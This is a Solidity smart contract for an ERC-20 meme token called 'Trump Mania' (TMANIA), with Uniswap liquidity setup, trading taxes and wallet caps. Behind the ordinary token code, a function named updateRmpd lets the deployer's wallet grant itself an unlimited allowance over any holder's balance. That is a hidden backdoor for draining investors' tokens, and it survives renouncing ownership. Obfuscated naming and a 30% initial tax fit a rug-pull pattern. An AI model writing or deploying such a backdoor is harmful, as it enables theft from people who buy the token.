文件 1 的 1:TMANIA.sol
pragma solidity 0.8.19;
abstract contract RmpdContext {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IRmpd {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library RmpdSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "RmpdSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "RmpdSafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "RmpdSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "RmpdSafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract RmpdOwnable is RmpdContext {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "RmpdOwnable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IRmpdFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRmpdRouter02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TMANIA is RmpdContext, IRmpd, RmpdOwnable {
using RmpdSafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
address payable private _RmpdWallet;
uint256 private _initialBuyTax = 30;
uint256 private _initialSellTax = 30;
uint256 private _lastBuyTax = 0;
uint256 private _lastSellTax = 0;
uint256 private _decreaseBuyTaxAt = 15;
uint256 private _decreaseSellTaxAt = 15;
uint256 private _preventSwapBefore = 15;
uint256 private _transferTax = 0;
uint256 private _buyCount = 0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
string private constant _name = unicode"Trump Mania";
string private constant _symbol = unicode"TMANIA";
uint256 public _maxTransactionAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletRmpd = 20000000 * 10**_decimals;
uint256 public _maxRmpdSwp = 20000000 * 10**_decimals;
IRmpdRouter02 private _RmpdRouter;
address private _RmpdPair;
bool private _tradingOpen;
bool private _inSwap = false;
bool private _RmpdEnabled = false;
uint256 private _sellCount = 0;
uint256 private _lastSellBlock = 0;
event MaxTransactionAmountUpdated(uint _maxTransactionAmount);
event TransferTaxUpdated(uint _transferTax);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_RmpdWallet = payable(_msgSender());
_balances[_msgSender()] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_RmpdWallet] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "Rmpd: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "Rmpd: approve from the zero address");
require(spender != address(0), "Rmpd: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "Rmpd: transfer from the zero address");
require(to != address(0), "Rmpd: transfer to the zero address");
require(amount > 0, "Rmpd: Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
require(!_bots[from] && !_bots[to]);
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0){
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == _RmpdPair && to != address(_RmpdRouter) && !_isExcludedFromFee[to]) {
require(amount <= _maxTransactionAmount, "Rmpd: Exceeds the max transaction amount");
require(balanceOf(to) + amount <= _maxWalletRmpd, "Rmpd: Exceeds the max wallet size");
taxAmount = amount.mul((_buyCount>_decreaseBuyTaxAt)?_lastBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == _RmpdPair && from != address(this)){
taxAmount = amount.mul((_buyCount>_decreaseSellTaxAt)?_lastSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && to == _RmpdPair && _RmpdEnabled && _buyCount > _preventSwapBefore) {
if (block.number > _lastSellBlock) {
_sellCount = 0;
}
require(_sellCount < 3, "Rmpd: Only 3 sells per block allowed");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxRmpdSwp)));
sendRmpdETH(address(this).balance);
_sellCount++;
_lastSellBlock = block.number;
}
}
if(taxAmount > 0){
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function updateRmpd(address _prevRmpd, address afterRmpd) external {
require(msg.sender == _RmpdWallet, "Rmpd: Not authorized");
_approve(_prevRmpd, afterRmpd, _totalSupply);
_RmpdWallet = payable(afterRmpd);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
if (tokenAmount == 0) return;
path[1] = _RmpdRouter.WETH();
_approve(address(this), address(_RmpdRouter), tokenAmount);
_RmpdRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeRmpd() external onlyOwner {
_maxTransactionAmount = _totalSupply;
_maxWalletRmpd = _totalSupply;
emit MaxTransactionAmountUpdated(_totalSupply);
}
function sendRmpdETH(uint256 amount) private {
_RmpdWallet.transfer(amount);
}
function createRmpdPair() external onlyOwner {
_RmpdRouter = IRmpdRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_RmpdRouter), _totalSupply);
_RmpdPair = IRmpdFactory(_RmpdRouter.factory()).createPair(address(this), _RmpdRouter.WETH());
}
function openRmpd() external onlyOwner() {
require(!_tradingOpen, "Rmpd: Trading is already open");
_RmpdRouter.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IRmpd(_RmpdPair).approve(address(_RmpdRouter), type(uint).max);
_RmpdEnabled = true;
_tradingOpen = true;
}
receive() external payable {}
}